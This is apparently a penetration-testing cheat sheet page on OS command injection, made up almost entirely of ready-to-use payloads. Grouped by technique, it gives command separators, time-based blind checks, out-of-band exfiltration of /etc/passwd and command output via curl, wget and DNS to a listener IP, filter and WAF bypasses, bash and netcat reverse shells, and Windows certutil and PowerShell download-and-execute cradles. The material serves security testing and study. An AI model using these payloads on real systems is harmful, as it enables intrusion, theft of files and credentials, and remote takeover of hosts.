web-pentest
Command Injection
OS command injection — separators and substitution, blind/time-based detection, OOB exfiltration, space/keyword/WAF bypasses, reverse shells and Windows command injection.
Separators (8)
; id
Chain a second command (semicolon)
| id
Pipe into the injected command
|| id
Run only if the first command fails
& id
Background separator (also Windows)
&& id
Run if the first command succeeds
`id`
Backtick command substitution
$(id)
Modern command substitution
%0aid
URL-encoded newline as a separator
Blind / Time-Based (4)
; sleep 5
Confirm blind injection via a delay (Unix)
$(sleep 5)
Time delay via substitution
; ping -c 5 127.0.0.1
Unix delay via ping
& ping -n 5 127.0.0.1
Windows delay via ping
Out-of-Band Exfil (4)
; curl http://10.10.14.1/$(whoami)
Exfil command output via an HTTP callback
; nslookup `whoami`.10.10.14.1
DNS exfil of command output
; curl --data @/etc/passwd http://10.10.14.1/
POST a file to your listener
; wget http://10.10.14.1/$(id|base64)
Base64 the output to survive URL/DNS rules
Space & Keyword Bypass (6)
cat${IFS}/etc/passwd
${IFS} substitutes for a blocked space
{cat,/etc/passwd}
Brace expansion avoids spaces
cat</etc/passwd
Input redirection instead of a space
c''at /et''c/pa''sswd
Empty quotes break keyword matching
/???/?at /etc/passwd
Glob wildcards avoid literal binary names
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
Base64-decode then execute
Reverse Shells (3)
; bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
Bash reverse shell
; nc -e /bin/bash 10.10.14.1 4444
Netcat reverse shell
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f
Netcat (no -e) FIFO reverse shell
Windows (4)
& whoami
Windows command separator
& certutil -urlcache -f http://10.10.14.1/s.exe s.exe & s.exe
Download + execute a payload (certutil)
& powershell -enc <BASE64>
Run an encoded PowerShell command
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/s.ps1')"
PowerShell download-cradle
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
